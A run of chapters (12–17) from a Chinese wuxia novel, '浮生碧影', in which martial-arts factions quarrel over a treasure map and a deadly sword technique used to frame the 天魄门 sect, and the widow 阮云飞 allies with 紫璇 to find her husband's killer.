厅上也有许多人跟着笑起来。 庄主也笑言:“郝寨主心直口快,说的也是实情。” 阮云飞哼了一声,对此不以为然。但转念想到自己的夫君也卷入其中,不禁气闷,心中并不愿意相信余漱所说。 厅上众人再次催促余漱:“那你们到底找没找到这藏宝图?” 余漱尚未开口,倒是朱鸿旭边想边说道:“中原最重孝道,既然是祖先留下的遗物,即使没什么用处,子孙也当仔细保管,岂有丢弃之理。只要不是被那有心之人拿了去,此图就必然还在他家里某处。“ “朱老爷子所言甚是,我们也做如此猜想:如果此图不曾被人盗走,就必然被这京官的先祖藏在了什么地方。故而,我和杨兄及沈掌门商议,由杨兄出面再次去探访这京官,看看能不能找到这家人的先祖是谁。而我和沈掌门则以‘神锋无影’为线索,拜访江湖耆老,看看有没有什么发现。” “那结果呢?”项大急道。 “杨兄查到了这京官的祖籍在宝鸡,且自称是唐朝德宗皇帝的苗裔,又拿到了他家的族谱。循着这些线索,杨兄和沈掌门遍访了宝鸡一代,期待能够找出这京官的祖宅、祠堂什么的,但一无所获。随后我又想起来,长业帮几位长老是武林名宿,熟知各种掌故;再加上长业帮专做东西行脚的生意,早年间经常在京兆、秦凤一代活动,想必对于宝鸡的情况也更加熟悉。收到杨兄的消息后,我便邀请他和沈掌门与我一起去拜访长业帮。 朱鸿旭神色不虞:“我从未听说此事。” 余漱满怀歉意,向朱洪旭道:“此事到底不太光明,且当时一切都还在迷雾之中,是以不敢和主您老人家直接求教。原本是想着等找到宝藏,对长业帮大有好处,那时再禀报给您,你纵使不悦,也不至于责罚。” 朱鸿旭冷哼一声,不置可否。 “听我们说完藏宝图的来历和这京官祖上的一些信息 12. 神锋无影(一) 《浮生碧影》全本免费阅读 终于到了关键处,厅上众人都是精神一振。 “这之后他们四位便带着藏宝图又到我家中来一同参详。可我们怎么看都是一头雾水,那图上所绘既非山川图形,也不是道路标记,奇奇怪怪地画着些文字不像文字、图形不是图形的东西。后来我们还临摹了其中的几个图样,给一些武林前辈看过,都说不认得。朱帮主,估计您也看过这样的东西。” 朱鸿旭若有所思:“是了,就在三位师叔死前一个月,其中一位曾拿着一页图画来找我,我也不识得,还请教他这是从哪里得来的东西,他语焉不详,之后就再也没有提起过这件事。” “我们查了许久仍是没有结果。费了那么大力气才找来的藏宝图竟然毫无用处,当真是气闷得紧。后来我还和杨兄还为此事一起去拜访沈掌门,此事沈夫人应该还记得。”余漱转向阮云飞,等她说话。 “没错,那正是夫君被杀几日前。杨大哥、余老板和他密谈许久。夫君死后杨大哥来吊唁,我还问过这件事,担心他们是不是招惹了什么仇家。可是杨大哥坚决否认,没过多久,杨大哥全家也遇难了。我不认识余老板,否则,我也要来找你问上一问。” 余漱道:“杨兄不告诉沈夫人,实是一件好事。否则惹祸上身丢了性命,悔之晚矣。夫人若不信,看我便知。” 阮云飞揣摩着他话中之意:“你是想说,我夫君被杀就是因为这副藏宝图?" “正是。” “还请余老板把话说明白些。” “简单来说,就是我等寻宝之事犯了忌讳,有人要杀了我们,以儆效尤。” “是谁?” “沈夫人莫急,先听我把故事讲完。你可还记得我们找到藏宝图的那个祠堂。” “记得,怎么了?” 朱鸿旭想起了什么:“另一幅壁画?” 余漱点头:“朱老帮主猜得不错。这祠堂原有两面壁画,除过那副讲唐朝皇帝的,还有一副,上面绘的是个剑招:一人持剑,比划着几个动作,在他的对面另有一人鲜血淋漓,惨不忍睹。” 朱鸿旭眉心收紧,叫了出来:“神锋无影!” “果然是朱老帮主最先明白过来。我们想通此节靠的也是三位长业帮的长老。他们回到襄阳后,记起那壁画上的情形,再三思虑才有了结论。” 林夫人很是讶异:“什么!‘神锋无影’指的是个剑招,而不是人?” 余漱仍是点头,没有再往下说。 “剑招?”厅上众人再次交头接耳起来,相互询问是否听说过这样一个招式。 朱鸿旭最先打破混乱:“年轻时听我师父说起过,江湖上是有这么一招剑法,只是传闻虽多,却没几个人见过它使出来到底是什么样。刚刚听余老板说起‘神锋无影’,我便有些疑心这可能是个招式的名字。不过往事久远,我也是刚刚才想起来。“ “朱老帮主,那就请您来说一说这‘神锋无影’吧。"庄主乘势邀请。 朱鸿旭点头应允:“我所知有限,只记得年少习武之时听长辈们提起一些过去江湖上厉害的杀招,这‘神锋无影’便是其一。据说它变幻莫测,出招时根本看不清来去,但凌厉无比,能够瞬时间在对方身上划出无数个口子,令其失血过多而死,死状极为可怖。” 阮云飞大惊失色:“这……” 朱鸿旭仍旧不住点头,似乎在回答自己心里的疑问,末了向阮云飞道:“是了是了……沈夫人,你是不是也想到了?” “我夫君……他的尸身上就有大小数十道伤口。” “这些伤口是否以膻中穴为圆心,逐渐向外扩散,离膻中穴越近伤口便越大,离得越远越小?” 阮云飞噙住泪:其状正如朱帮主所言。难道长业帮三位长老也是这般情形?” 朱鸿旭叹息一声:“是的,不过当时我还以为这伤口是某种稀奇的兵刃留下的,并没有多想。" 阮云飞以手拭泪:"我夫君死状惨烈,说出去有辱他和彭城派的名声,所以我便瞒了下来。怪我妇人之见,没有向前辈早些请教。" 余漱先安慰她:“沈夫人无需自责,你的顾虑也是人之常情。”又对着众人,“不瞒诸位,杨兄噩耗传来之时,我已起疑心,偷偷去看过他的尸身,死状也如朱老帮主所言。” 郝鹏祖却不太相信:“天底下真有这样的剑招?我在江湖上混了这么多年,可从来没有见过这等狠辣招式。” “传闻此招极难练成,武林中失传已久也是有可能的。”朱鸿旭补充道。 记起文紫璇所说的话,阮云飞故意问:"那余老板可知,''神锋无影''出自何门何派?" 答案自然是"天魄门"。厅上随即爆发出新一波声浪,有些没听说过天魄门的人纷纷询问起来。 "余老板是如何得知的?"阮云飞又问。 余漱还没说话,朱鸿旭先道:"我记得''神锋无影''是天魄门创派祖师座下最得意的弟子自创的剑招,因其过于狠辣,一经问世便从未遇到过对手。不过,后来天魄门逐渐落寞,这般纵横江湖的招式就湮没无闻了。” “巧的是,这位得意弟子据说就是姓李。”余漱补充。 朱鸿旭也加以肯定:“是的,师父也提过这位弟子姓李。这样看来,这京官的先祖就是这位李姓弟子,否则也不会将‘神锋无影’绘在家庙之中,更不会把家庙建在太白山麓。只是不知什么原因,他的后人竟然远离了武林。” “既然‘神锋无影’已经不存于世,那死去之人又如何会死在此招之下呢?”发问的还是阮云飞。 众人纷纷称是,拿眼睛望着余漱,也有的看向了朱鸿旭,期待他们给出回答。 “啪”的一声,吴先生甩开扇子:“这就得从天魄门上一任门主苏明启说起了。” 庄主与之唱和:“晚辈愿闻其详。” “天魄门创立百年,早已不如初时那般煊赫,在武林中也不免备受冷落。直到上一任门主苏明启接掌门主之位才立图复兴。他武学天赋极高,不到三十岁便武术大成,打败了当世的几大高手,又网罗了一批高手在他的麾下。但他并不满足于此,还期望找到创派祖师留下的宝藏,借此光大门派,成一代霸主。” “宝藏?”众人抓住了这个字眼,都盼着吴先生赶快说下去。 13. 神锋无影(二) 《浮生碧影》全本免费阅读 “既然如此,我们就去天魄门问一问究竟!” “哪有那么容易。天魄门既然做得这么机密,又如何会承认?”余漱马上否定了阮云飞的提议。 阮云飞从座位上站起,大声抗议:“那我夫君的仇怎么办?还有死去的长业帮三老和杨大哥一家,他们仇怎么办?” 朱鸿旭试图安抚她:“沈夫人先不要动气,老夫以为此事还需从长计议。” 庄主也道:“是啊,天魄门虽然实力不如往昔,但听闻文远骥的功夫很高,我们若直接打上门去决计讨不了好。报仇大计,还需诸位武林同道一同扶助才是。” “理当如此。”邓钊敷衍了一句,又道,“说不准文远骥追随他师父遗志,也在找这些藏宝图呢。”言下之意,为了藏宝图也得去找天魄门的麻烦。 阮云飞不耻于他们的私心:“那又如何,天魄门的藏宝图本就与我们无关。何况,如果真如余老板所说,此图已经惹下诸多祸端,我们也最好不要再去招惹。我只要为我夫君报仇,还他一个公道即可。” 此时从她后方传来一个声音:“师妹此言差矣,既然沈师弟因此而死,弄清楚这藏宝图的去向必定有助于咱们找出凶手。”说话之人正是夏中宇。 他话音刚落,顿时便有许多人迎合:“是啊,听听也无妨嘛。”庄主也马上接口:“既然大家都想知道,烦劳余老板接着讲吧。” 阮云飞心中冷笑,又坐了下来。 余漱点头,继续往下讲:“我见到杨兄的死状,又想起长业帮三老对于神锋无影的推断,才推想他至此,只是当时并不确定。刚刚听了朱老帮主和吴先生所说,才知我的推测八九不离十。 “藏宝图自找到后一直由杨兄保管并设法解读,沈掌门和长业帮三位长老死后我微感不妙,特地去杨兄家中找他商量,杨兄也心中不安,最后决定把藏宝图暂且藏于一个安稳的去处,待风头一过,我们再作他想。数日之后,杨兄一家便遇难了。此时我尚在泰州,听闻消息后偷偷去看过一眼,一看杨兄家人的伤口便道不好,之后就连夜赶回姑苏,收拾东西准备逃走。” “别说这些有的没的,那藏宝图呢?到底怎样了?”郝鹏组已经坐不住了。 他出来说话。余漱毫不掩饰自己的不满:“如果不是嗅到了宝藏的气味,几位帮主、寨主又怎会追至此地?!” 邓钊拱拱手,有意求和:“余老板有所不知。我与杨世坤本是相识,数月前杨兄曾拿着一副画让我看,上面是一些奇怪的符号,我当然猜不出其中的意思。我见杨兄垂头丧气,便问他这半年多都在倒腾什么,他支支吾吾地不肯说实话,然后很快就走了。过了半个月,杨兄一家罹难,我越想越觉得奇怪,便和另外几个与杨兄熟识的朋友打问了一下,他们中有也几个年纪大些、阅历稍广的都曾被杨兄问及奇怪的符号。一路探查下去,我便得知杨兄年初去过一趟西边,最近又和余老板走得极近,所以这几日便有些叨扰,余老板莫怪!” 余漱哼了一声,并不接受他服软求和。 “至于郝寨主、林夫人是怎么得到消息的,我就不得而知了。”邓钊不满这两人前日与自己动手,是以在众人中只提了他们的名字。 林夫人忍了两日,终于有机会嘲讽他:“谁不知道邓帮主专打精明算盘,我们见到流沙帮最近在河工上不怎么上心,倒是成日家进进出出的,自然要好奇一下邓帮主是不是又找到了什么发财的门路。” 这下轮到邓钊哼一声,气氛又转为紧张。 庄主出面劝和:“诸位切莫口角,还是听余老板往下说吧。” “杨兄死后,我一直担惊受怕,恰好我与赵兄弟有过一些交情,故而将此事告诉了他,也是他托庄主庇佑于我。又过了一个月,家中仍毫无动静,我便存了侥幸,想会不会是自己太多心了,又或者凶手并不清楚我在其间的作用,是以放过了我,最终抵不过宝藏的诱惑,便赶赴泰州,在杨兄事先告知的地方找到了那块藏宝图。” 在一片喧哗之中,余漱放大声音,继续道:“拿到藏宝图后,我又放大胆往苏州来。哪知尚未踏进家门就被人盯上了,无奈之下只得奋力逃走。” 赵绪良接过话题:“我将余老板所言之事原原本本地告诉了庄主,庄主立志要查出真相、维护武林公义,这才邀请了朱老前辈和沈夫人前来无锡共商大事。三日前,余老板被流沙帮的人追杀,情急之下找到倪家庄来,求我家庄主作主,这才有了后面我与诸位相遇的故事。” 邓钊极为尴尬,此时只好闭嘴隐身。 “流沙帮之外,还有一名女子也对我穷追不舍,她见我被围受伤,还曾出手帮我抵挡了一阵。后来在苏州城郊的树林,又有两位男子和那女子汇合,一齐击退了邓帮主的人。这些,不光邓帮主,在座诸位中除了朱帮主和沈夫人,应该都知道吧?”余漱的目光慢慢扫过厅上坐在前排的几人,这些人都默然无语,只有吴先生道:“老夫这几日正好在苏州附近办事,看到流沙帮的人四处走动,一时好奇便多走了几步,余老板莫怪、莫怪!” 项大这才敢出声:“此中细节我们倒真的不知,只是看邓帮主出动大船在运河一带徘徊,心中疑惑便跟了上来。” 邓钊瞪着眼睛,老大不满:“你们都盯着流沙帮做什么?咱们各自有各自的生意,这样盯着别人吃饭,可还是咱们江淮一带的规矩?” 其余几人正要争辩,赵绪良抬手劝道:“诸位先别急,听在下一言如何?”等众人安静下来,才说,“俗话说得好,‘和气生财’。宝藏还没有下落,咱们自己人先争竞起来,即使没有功亏一篑,也要叫别处的武林人士笑话。依我看,不如齐心协力、相互帮衬的好。为着这藏宝图,长业帮、彭城派各有损伤,余老板也为此辛劳许多,按理是要分个大头。但邓帮主也花了许多精力在这件事上,不能叫他空手而归。至于说吴先生、响水帮、郝寨主和林夫人麾下的兄弟们既然来了,也要 14. 破局(一) 《浮生碧影》全本免费阅读 赵绪良向庄主方向点了点头,吩咐下人:“让‘辽东双霸’带人来。” 阮云飞心底暗笑,她倒要看看这接下来的戏倪家庄会怎么唱。 来的人当然只有武永新和张红柳,二人灰头土脸,十分狼狈。 赵绪良假意问道:“为何是你二人,叫你们看管的人犯呢?” 二人呜呜啦啦地比划了一阵。 赵绪良大吃一惊:“我命你二人看守人犯,你现在告诉我人不见了?到底怎么回事?” 此言一出,厅上群豪哪里还坐得住,郝鹏祖当先骂娘,立时就要站出来和辽东双霸干一架,还是林夫人扯住了他,让他切莫冲动。也有几个较为理智的人说:“早晨我去地牢那看过,二人明明还在下面。他们是何时逃走的?” 武、张二人又是一阵比划,似乎是在回答刚刚这个问题。带他们上来的人帮忙翻译:“‘辽东双霸’说,两个人犯是昨天晚上趁黑逃走的。” “狗屁!”邓钊也急了,“‘辽东双霸’好歹也是江湖上成名的人物,那两个小子连我的手下都打不过,还能从他们手上逃出去?别是你倪家庄故意将人藏了起来吧?” 此刻骑虎难下,赵绪良只能硬着头皮辩解:“倪家庄绝无此意,这件事我也是此刻才得知。诸位英雄看在我的面子上才同意将人犯交由‘辽东双霸’看管,在下实在不该辜负诸位的信任。的确是那二人太狡猾,辽东双霸一时失察才致使人犯走脱,并非我们有意为之啊。” 郝鹏祖才不想听这些,跳出来骂道:“狗娘养的姓赵的!你甜言蜜语地叫我们把人犯交给你,现在又在这里和这两个一句鸟话也说不出来的废物一唱一和,想骗谁!?” 许多人虽不敢像他这样直接破口大骂,但也都呜呜啦啦地轻声附和。 项氏兄弟板起脸:“赵前辈,这事你可得给我们一个说法。” 林夫人也在一旁帮腔:“赵兄弟,这人犯好端端的怎么会走失?倪家庄有你这等高手坐镇,他们岂能如此轻易地逃出去?”她虽然说话温和,但言下之意仍是怀疑倪家庄从中捣鬼。 众人喧闹之中,庄主提高音量:“人犯由倪家庄看管,如今走失了,就必须负起责任。” 此话一出,厅上众人都闭上嘴,一齐望着他,要看看他如何“负责”。 他朗声道:“‘辽东双霸’看管人犯不力,让在此的诸位英雄看了笑话不说,也辜负了大家对倪家庄的信任,在下不敢徇私,赵兄,你按庄上规矩办吧!” 紧接着,两声闷哼过后厅上一片惊呼,武、张二人均被赵绪良一掌杀死。谁都没想到倪家庄办事如此果断狠辣,厅上登时陷入死寂。 阮云飞从这寂静中率先起身,冷冷说道:“看来今日也审不了人犯了,如果庄主和各位前辈没有其他吩咐,我便带着弟子们先行告辞。” 夏中宇蓄意挑衅:“师妹,庄主尚未发话,你怎么就要走?这里还有许多前辈高人,咱们彭城派可不能失了礼数。” “夏师兄如有兴趣继续待在这里,我也不阻拦,只是徐州离这里路途遥远,早些收拾了,便能早些回家去。”阮云飞说完便要抬腿。 庄主拦住她:“阮掌门稍等片刻。”又对着群豪道,“我这庄子虽不能说守得滴水不漏,但两个活人要想逃出去绝不会没有一点动静。依在下所见,这两人多半还在庄内,只要咱们用心搜一搜,必有所获。诸位意下如何?” “既然如此,庄主就赶快安排人手寻找吧,时间一长怕是更难寻觅。我们几个门派回到下处也搜上一搜,如有所获,相互通报一声,可好?”只有搅浑这潭水,阮云飞才好带着人脱身,是以故意这样说。 “不错不错,就是这样!”邓钊、林夫人立刻起身欲走。 其余众人虽没有说话,但厅上脚步声迭起,已经有许多人站起来向外冲。他们都想巴不得独自抓住紫璇两人,独吞宝藏,阮云飞回想起紫璇的警告,心寒不已。 回到远山院,原航立即迎上来禀告:“师娘,徒弟们在此看守,一切安好。” 阮云飞点点头,甚是满意,马上吩咐所有人收拾行囊,尽快出发。小鸢跟着她进到内室,问:“夏师伯没有和咱们一起回来,要去叫他吗?” 阮云飞拿起床边佩剑,头都没有抬:“由他去,咱们自己走。” 连半个时辰都没用上,阮云飞及所有彭城派弟子便跨出了倪家庄的大门。赵绪良虽想阻拦,阮云飞以倪家庄交不出那两个人,留在这里并不能为夫报仇为由呛地他无言以对,在确认过厅上集会之时并无任何人进出过远山院后,赵绪良只能让路。 再说紫璇和瑾瑜二人,自躲入箱内已过去多时。瑾瑜焦躁不已,却害怕被人听到声音,因此一句话也不敢说。虽然已经一天多没有吃饭了,他也丝毫感觉不到饥饿,惟愿自己和紫璇可以平安逃出这里。 也不知过了多久,他终于感到这口箱子飘飘荡荡地离地,又被‘哐嘡’一下放在车板上,似乎是要离开。黑暗中无法窥见紫璇的神色,不知道情形究竟如何,他只能把想问的话压下去,继续保持安静。 接着又有几口箱子放上了车,随后便是车轮咕噜噜转动和马儿疾驰的声音,阮云飞的说话声虽不清晰,但也能听出她在与人辞行,瑾瑜心下一松:“终于要出去了。” 车轮声音很大,估计彭城派众人行的极快。走了一段时间之后,瑾瑜才敢出声:“咱们逃出来啦!”短短一句话内,既有欣喜也有庆幸。 紫璇低低地“嗯”了一声,并无欢喜之意。 瑾瑜想起她受了伤,一直也没有上药,带着歉意问道:“你的伤好些了吗?” 紫璇愣了一下,似乎没想到他会问这个问题:“没事,小伤而已。” “你原本就知道这位彭城派掌门会来吗?” “这倒没有,我是听了夏中宇和赵绪良的话才猜出来的。我的本意是潜入倪家庄,看看他们邀请这么多江湖中人是要做什么的。不过运气还不错,事情比我想的顺利,阮云飞信了我,便能省去很多麻烦。” “那如果不是阮掌门庇护,你准备怎么逃出倪家庄呢?” “我自己一个人应该没问题……” 紫璇只说了一半,但瑾瑜已经明白:“我也知道自己功夫有限,要你带我逃出去会拖累你。” 紫璇向来不会安慰人,听他这样说,也只是在黑暗里点头,没有再说。 好在瑾瑜是一个豁达的人,紫璇对自己的评价也是实情,一阵难为情之后,很快又沉浸在转危为安的喜 15. 破局(二) 《浮生碧影》全本免费阅读 自那日在苏州郊外树丛当中遇到余漱以来,瑾瑜第一次睡了个好觉。醒来时天色尚早,他穿戴整齐后来到客栈前院,只见大堂上空空荡荡的,除了两个擦桌子的小二,只有一名女子背对着自己坐在一张桌子边上,正在吃早饭。 那女子听到脚步声,回过头问他:“你醒了?” 定睛一看,却根本认不出她是谁。这也难怪,树林中见面时,紫璇带着面纱,再到船上相遇时,她又扮作船家的儿子,涂黑了脸。是以,直到此刻,瑾瑜才第一次看清她的真容。 紫璇见他呆呆地望着自己,感到莫名其妙:“你怎么了?这么看着我看什么?” 瑾瑜这才回过神来,微微有些发窘:“没有没有……我只是没想到……” 紫璇明白过来:“是了。”又微微一笑,“还挺有趣,这竟然是我们第一次‘见面’。”她这一笑,才真正有几分妙龄少女的样子。 紫璇叫小二再添一份清粥和小菜,瑾瑜便坐下来与她一起用饭。不多会儿,阮云飞和弟子们也来了。她看见紫璇也少不了惊讶一阵:“没想到行事如此果断老练之人,竟然是这么一位年轻漂亮的姑娘。”紫璇有些不好意思,只点了点头表示谢过她的称赞。 用过饭,众人齐聚阮云飞房中,分宾主坐定后,阮云飞开门见山,直接向紫璇确认:“根据你我的约定,我告诉你倪家庄葫芦里卖的什么药,你帮我查出杀我夫君的凶手?” 紫璇郑重点头:“不错。既是为了助你查出真相,也为了还天魄门清白,还武林一个公道。” 阮云飞对她所言甚是满意,放下最后一丝戒备,先将倪家庄正厅所发生的事一一告知。紫璇一边听一边思索,待阮云飞一番讲述下来,她已明白倪家庄大致的盘算:“倪家庄好精密的计划,用一副藏宝图引来江湖人,再用‘神锋无影’这样的‘确证’把嫌疑引向天魄门,我们再要想洗去这杀人的罪名,着实不大容易。” “这‘藏宝图’当真是你们天魄门的东西?”阮云飞也不绕弯子,直接问了出来。 “应该是的。相传这图是创派祖师在弥留之际绘制的。但天魄门历经百余年,这之中不知发生了多少变故,藏宝图一事早已堙没在历史中,少有人知道。上任门主,也就是我父亲的师父苏明启雄才大略,立志要搜集藏宝图,以之振兴天魄门。这段故事,长业帮帮主和他们几人说的大致是不错的。” 阮云飞点点头,让紫璇继续。 “师祖虽励精图治,可是天不假年,正当壮年便过世了。这之后天魄门又遭遇了内讧和外敌,具体的情况想必掌门人也有所耳闻。” 阮云飞自小长在彭城派,远在淮北,和天魄门几无往来,但在少年时也听说过一些天魄门的往事。 “家父继任门主时门中百废待兴,谁都没有心思再去找什么藏宝图。过了几年,虽然偶有人动议,他也并不放在心上,这事就被搁置了。“ 对比倪家庄上群豪的态度,文远骥此举倒是令人好奇,于是阮云飞问道:“这是为何?如果这藏宝图之说是真的,找到它不正能够振兴天魄门,解了你们当年的危局吗?” “师祖虽然故去,但他的妻子尚在人世。据我所知,她并不赞成天魄门的后人继续寻找它。”紫璇解释说。 “苏明启的夫人?那不就是号称‘天目三英’之一的许淑平许前辈?”阮云飞少时便听过许淑平的名号,她是天目派掌门的爱女,武功不弱,和自己的一对师兄弟并称“天目三英”。 “阮掌门听过她的名号?”紫璇难得露出一丝惊喜。 “何止是听过。沈前辈以女流之身跻身江湖高手之列,那时候哪家向往江湖武林的女子不以她为楷模。”不过,许淑平在嫁给苏明启后名头便渐渐低落,少有人提起了。 紫璇稍稍动容:“她不问世事多年,如果知道江湖之中仍有人记得她的名字,必也是很高兴的。”又接着刚才的话继续往下说,“所以天魄门并不关心这副藏宝图和这所谓的‘宝藏’。如果不是我们发现有人在江湖上到处询问一些图中的符号,也绝不会想到如今有人正在打它的主意。” “怎么说?” “大约两个月前,我们便发觉杨世坤和余漱拿一些古怪的符号去向各道上的江湖前辈请教。师祖当年钻研藏宝图时,师祖娘曾经见过当中的一些图符,很快便认出来了。不过那时候我们并不知道余漱真的找到了藏宝图,还以为是师祖当年搜罗的部分图符外泄,有人重提旧事而已。 “直到一个月前,杨世坤满门被屠的消息传来,我们隐隐觉得不太对,担心这万一是藏宝图引出来的祸事可能会对天魄门不利,于是便去探访了杨世坤在泰州的宅子。我们到那里的时候,杨家已经被官府查封,全家上下的尸身皆被暂时存放于义庄之内。我和师兄潜进去看过,他们都是死于寻常的刀伤,没有什么特别的。但奇怪的是,当中并无杨世坤和他的妻子儿女的尸体。” 众人听到此处皆是一惊,纷纷发问:“怎么回事!?” 紫璇继续:“当时我们也觉得十分蹊跷。一般来说,隐藏尸体多半是为了掩盖死因。如果是单纯夺宝,为何要多此一举?可见此事并不简单。于是我们在泰州城里四处查访,想看看有没有知道内情之人。查找多日都一无所获,杨家的下人们大多是外乡人,在城中并无亲戚。杨世坤又素来低调,在泰州朋友并不多。约莫十天后,官府找不到凶手,草草定了个江湖仇杀了事,贴出告示来让人领回尸体。也真是凑巧,杨世坤有一个厨子,虽然是外地逃难来的,但是他的母亲没有跟着他一起进到杨家,而是在另一户人家做浆洗。官府一解禁,这位老妇便赶来收尸。我们问她是否从儿子那里听到过一些有关杨家的事情,她断断续续讲了 16. 破局(三) 《浮生碧影》全本免费阅读 众人齐声笑了。 阮云飞又想到一节:“还有这‘神锋无影’,这可是倪家庄栽赃天魄门的关键。文姑娘,对此你可有想到什么?” “如长业帮帮主所说,这个招式乃创派祖师的弟子所创,是我派剑法穿云剑的最后一招,因其易学难练,又过于凌厉,实际能派上用场的时候不多,早就失传多年。也的确是因为师祖力图复兴天魄门,才重新找到了记载这招式的剑谱。” “那可有人练成此招式?” 紫璇笑了笑,答道:“有。这一招的难处在于变化繁复的同时还要一气呵成,是有点难练。但是如果天资不差,又肯勤勉练习地话,还是能学个似模似样。” 阮云飞听她这样说,便知她已练成了,也笑了出来:“不如请妹妹展示一番,让我等见识见识。” 紫璇起身,走到她身边:“不敢。我这次出门不便带惹眼的兵器,方公子的剑也在我们被抓上流沙帮的船时遗失了,可否借阮掌门的佩剑一用?” 阮云飞向小鸢做了个手势,小鸢将剑递过来。紫璇接过后推门往院中飘去,衣袖一展,剑尖便向前送出,不待力道用尽,急速回撤,跟着上身抖动,带动着上臂舞出剑花,观看的人只觉得白光闪烁,根本看不清剑的来去。 紫璇一招使毕,脚尖向后,如法炮制,再使了两次。彭城派的弟子们都出来在廊下观看,见她出招毫无凝滞、剑就如长在了她手臂上一样,舞得眼花缭乱,早已呆住了。待她停下,对面墙上已经清晰地留下了若干剑痕,沿着一个圆心向外分布,越往里越深。 阮云飞拍掌叫好:“妹妹这样年轻,剑法就如此纯熟,真真让人汗颜。看来天魄门将来必然再度雄踞于各派之上了。” 紫璇忙收剑低眉:“阮掌门过誉了,这里没有敌人,我只需照章施展便可。如果临阵对敌,肯定没有如此轻松。” “妹妹何必过谦,招式要想使得如此熟练、毫无阻滞,即使天资聪颖,也必然要下极大的功夫。妹妹想必练功甚是勤谨。”阮云飞说罢,又对着院中诸弟子道,“你们瞧着些,平时叫你们用功,只一味耍赖偷懒。江湖上天外有天,等你们知道要用功时就晚了。” 众弟子均肃然称是。 再次回到房中,紫璇接着说:“根据每个人的功力不同,这招一招使出来的威力也会千差万别。我用它最多可以伤人,和爹爹比起来可差远了。不过这招的确太过狠辣,如果出手,必然非死即伤,如非必要,我爹也是不用的。” 瑾瑜佩服之余,又想到既然这招式不是什么人都会,那凶手岂不是好找许多。因问她:“紫璇姑娘,这招式,除了你父亲还有你,可还有其他人会使?” “我这一辈中,只有我和师兄练成,师兄剑法还在我之上。至于其他人……当年师祖将剑法传给了自己的几个弟子,除了爹爹之外,应该还有人也学会了才对。”紫璇一面说,一面把剑递还给了一旁侍立的小鸢。 阮云飞也回想起了之前听过的武林故事,慢慢思考着:“苏门主座下有四位亲传弟子,当年夺门之变,据说文门主的师弟与他割席断交,莫不是凶手就在这几人之中?” 紫璇也若有所思:“我年纪小,上一辈的事情并不是很清楚。不过,我还是怀疑死者身上的伤口很可能是作伪,真正的死因并不是‘神锋无影’。否则,为何杨世坤和他家人的尸体要隐藏起来,怕不是当中有什么破绽?” 阮云飞深深点了几下头:“妹妹分析得有道理,要破除嫌疑、寻找真相,第一步需得弄清所有殒命之人真正的死因。”思考片刻,又道:“可是我夫君已下葬数月,此时验尸怕也没有太大的收获吧。” 紫璇也认同她的判断,无奈道:“表面上的伤估计很难看得出来了,但查一查,总好过毫无线索、坐以待毙。” 阮云飞亦点头:“可惜,数月来我奔走各处,并未见到天魄门来人,不然也可以早点开棺验尸。" “此时亦不晚。如果不是余漱之事多生波折,此时我们两家恐怕都还蒙在鼓里,哪里会像如今联手对敌。” “妹妹说的不错。既然他们已经露出了马脚,这离水落石出之日就不远了。昨日对两位多有怀疑,如今我已明白这其中的实非曲直,今后必当与天魄门携手,查出真相,以慰我夫君在天之灵。” 彭城派诸弟子也纷纷道:“师娘放心,我们虽然武功不济,也必会追随掌门人,查出真相、诛杀凶手,为师父报仇!” 阮云飞颇为触动,眼眶里星光点点。 瑾瑜初涉江湖,连日所见多是阴谋诡计和凶恶之徒,彭城派师徒的这句话才真正和自己所希冀的江湖豪情有几分相像。 阮云飞忍住泪意,又向紫璇道:“文姑娘,我见你有勇有谋,武功又好,十分喜欢。你要是不嫌弃,我们便以姐妹相称,如何?” 多日来,紫璇的神色大多在蹙眉深思和严肃木然之间转换,直到此时才露出些许轻松和畅然,欣然应允:“我也正有此意。” 二人双手相握,行了小女儿家之间的礼数,瑾瑜在一旁看着,也分外高兴,一扫前几日的阴霾。 众人谈笑了一阵,紫璇又想起一事,转向瑾瑜:“方公子,余漱交给你保管的东西,你可还带在身上?” 阮云飞闻言讶异:“怎么,余漱所说把藏宝图交给了方公子的话,竟然是真的?” 瑾瑜忙将那晚紫璇走后,地上留有字迹和包裹的事情说了出来。 紫璇点头:“这也是邓钊他们盯上你的原因。” 小包一直在瑾瑜怀中藏着,被流沙帮抓住时也不曾被搜了去,直到昨晚洗漱时才取下来放在了枕头下面。此时见问,他请大家稍等片刻,回房取来,郑重交给紫璇:“既然这本就是天魄门之物, 17. 生变(一) 《浮生碧影》全本免费阅读 紫璇接过那信和瑾瑜同看,只见那信上说的是: 杨兄台鉴, 与兄日前所言之事,某再三思量,仍觉不妥。若藏宝图关联之宝藏确系无主,自然天下人人可以得而用之。然我等既知此乃天魄门所有,若还要执意取之,实乃背信弃义,将为天下耻笑。再者,若天魄门他日知晓,怎会不追究?你我皆有家小、门人,若执迷不悟,必然带累无辜。彭城派开山立派已久,以秉公持义为念,才挣得微末名声。我能力有限,不能光耀门楣,已是平生憾事,如若因一笔不义之财辱没了师祖及彭城派的名头,叫我百年之后如何面见先人? 杨兄念及沈某,才将藏宝图一事告知,某本当感念。然为我彭城派计,就此放手才是上策,还请杨兄准允,并代某向余漱老板说明心迹,不胜感激。之前诸般事体我自当守口如瓶,我的妻儿也不与闻。 我与杨兄相知多年,也不愿杨兄临险地、惹是非。请杨兄三思,此时罢手还可保自身无虞。 冬月天寒,善自珍重。 沈一峰亲笔 “原来……原来峰哥他,已经醒悟,并不同意取这不义之财。”阮云飞看向紫璇,眼角还挂着泪珠。 “沈帮主谨守道义,和余漱他们并非一伙。爹爹若知晓,也一定是感念的。”紫璇柔声道。 阮云飞用力点了几下头:“昨天听了余漱的话,我还当他……师父晚年常说,武艺强弱、钱财多寡,虽需努力求索,实际都有定数,不可强求。我和峰哥守着彭城派,虽然偏居于徐州,并没多大势力,但派中上下都十分安然,已经心满意足了。如果不是他去找什么藏宝图,恐怕也不会惹上这杀身之祸。” “逝者已矣,阮掌门也要向前看。既然知道沈掌门绝对没有贪图不义之财,也没有坏了江湖规矩,想必您二位的师父和彭城派诸位师祖一定不会怪罪他的。倒是沈掌门因何而死,又是谁人所为,才是活着的我们要为逝者所做的事情。” “不错!峰哥的仇要报,彭城派的将来也着落在我的身上。”阮云飞眼中泪水渐渐消失,那种坚定果断的气质便迸发出来。 其余几张则是杨世坤和余漱往来书信,基本说的都是找了哪些人辨认藏宝图上的内容,但无人识得,有些气馁等语,并没有什么重要信息。 